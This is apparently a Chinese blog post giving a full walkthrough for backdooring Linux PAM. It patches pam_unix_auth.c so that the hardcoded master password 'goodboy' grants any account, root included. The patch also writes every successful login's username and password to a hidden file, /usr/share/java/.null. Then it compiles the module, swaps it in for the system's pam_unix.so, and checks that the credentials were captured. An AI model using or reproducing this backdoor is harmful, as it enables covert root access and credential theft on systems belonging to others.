https://www.icode9.com/content-3-603222.html
https://xz.aliyun.com/t/8618
一、查看本机pam版本
dpkg -l | grep pam
可以看到pam的版本为1.1.8
二、下载对应版本的pam
各个版本的pam包下载地址:http://www.linux-pam.org/library/
下载对应版本的压缩包并解压
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
下载文件
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
三、编译
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
特别注意:64位系统编译可能会遇到yywrap()函数未定义错误,需先安装flex软件包,而网上的大部分都是添加
#define yywrap() 1
但我的添加了并没有解决,反而又报了其他的错误,一直卡在了这
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
sudo apt-get install flex
安装软件
sudo apt-get install flex
修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的内容 180行
修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行
if(strcmp(p,"goodboy")==0)
{
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
FILE *fp = fopen("/usr/share/java/.null","a+");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}
name = p =NULL 上面的内容为新添加部分
编译
修改完后在Linux-PAM-1.1.8.tar.gz 目录中执行./configure && make
OK,遇到yywrap未定义引用不要慌,执行
yum install flex-devel flex
重新./configure && make
编译好的文件在modules/pam_unix/.libs/中
先mv备份原来的pam_unix.so
mv /lib/x86_64-linux-gnu/security/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so.bak
找到pam_unix.so 替换 ()
cp ./pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
验证
创建个普通用户
useradd 123
passwd 123
登录root
su root
goodboy
查看/usr/share/java/.null是否有记录
cat /usr/share/java/.null
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统